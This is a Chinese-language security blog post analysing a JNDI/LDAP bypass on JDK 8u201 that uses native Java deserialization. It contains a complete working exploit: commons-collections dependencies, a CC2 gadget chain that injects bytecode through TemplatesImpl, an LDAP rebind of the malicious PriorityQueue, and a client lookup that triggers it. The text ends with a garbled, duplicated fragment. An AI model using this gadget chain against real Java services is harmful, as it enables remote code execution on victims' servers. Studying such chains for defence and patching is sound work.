参考博客:
JNDI注入与动态类加载
分析版本
jdk8u201
流程分析
在前面JNDI-ldap绕过分析中提到,存在ldap原生反序列化利用点。
再回顾一下,在deserializeObject
private static Object deserializeObject(byte[] var0, ClassLoader var1) throws NamingException { //var1=AppClassLoader,修复之后在本地加载
try {
ByteArrayInputStream var2 = new ByteArrayInputStream(var0);
try {
Object var20 = var1 == null ? new ObjectInputStream(var2) : new Obj.LoaderInputStream(var2, var1);
Throwable var21 = null;
Object var5;
try {
var5 = ((ObjectInputStream)var20).readObject(); //原生反序列化
} catch (Throwable var16) {
//....
原生反序列化可以直接打,不需要Reference。
攻击实现
我们模拟一下受害方是存在CC利用链的,所以现在项目中添加依赖
<dependencies>
<dependency>
<groupId>commons-collections</groupId>
<artifactId>commons-collections</artifactId>
<version>3.2.1</version>
</dependency>
<dependency>
<groupId>org.apache.commons</groupId>
<artifactId>commons-collections4</artifactId>
<version>4.0</version>
</dependency>
</dependencies>
打下CC2
重写一个Ldap的绑定
public class JNDILDAPServerBypass {
public static void main(String[] args) throws Exception {
InitialContext initialContext = new InitialContext();
//Reference refObj = new Reference("Test", "Test", "http://localhost:4444/");
initialContext.rebind("ldap://localhost:10389/cn=Evil,dc=example,dc=com", getEvilPriorityQueue());
}
public static PriorityQueue getEvilPriorityQueue() throws Exception {
//CC2
byte[] code = Files.readAllBytes(Paths.get("G:\\Java反序列化\\class_test\\Test.class"));
byte[][] codes = {code};
TemplatesImpl templates = new TemplatesImpl();
Class templatesClass = templates.getClass();
Field name = templatesClass.getDeclaredField("_name");
name.setAccessible(true);
name.set(templates, "pass");
Field bytecodes = templatesClass.getDeclaredField("_bytecodes");
bytecodes.setAccessible(true);
bytecodes.set(templates, codes);
Field tfactory = templatesClass.getDeclaredField("_tfactory");
tfactory.setAccessible(true);
tfactory.set(templates, new TransformerFactoryImpl());
InvokerTransformer<Object, Object> invokerTransformer = new InvokerTransformer<>("newTransformer", null, null);
//chainedTransformer.transform(1);
TransformingComparator transformingComparator = new TransformingComparator<>(new ConstantTransformer<>(1)); //改为ConstantTransformer,把利用链断掉
PriorityQueue priorityQueue = new PriorityQueue<>(transformingComparator);
priorityQueue.add(templates);
priorityQueue.add(1);
///Class transformingComparatorClass = TransformingComparator.class; //也可以
Class transformingComparatorClass = transformingComparator.getClass();
Field transformer = transformingComparatorClass.getDeclaredField("transformer");
transformer.setAccessible(true);
transformer.set(transformingComparator, invokerTransformer);
return priorityQueue;
}
}
看下Ldap服务器
之后模拟受害方客户端请求
public class JNDILDAPClient {
public static void main(String[] args) throws Exception {
InitialContext initialContext = new InitialContext();
initialContext.lookup("ldap://localhost:10389/cn=Evil,dc=example,dc=com");
//LdapCtx
}
}
攻击成功
分析上面代码时,也分析到了decodeReference(var0, var2);
调用了,deserializeObject方法也会产生反序列化漏洞
修复
- 关于deserializeObject的修复,提供了个类之前trustURLCodebase属性开关,但是默认开启,不影响
rence(var0, var2);`调用了,deserializeObject方法也会产生反序列化漏洞**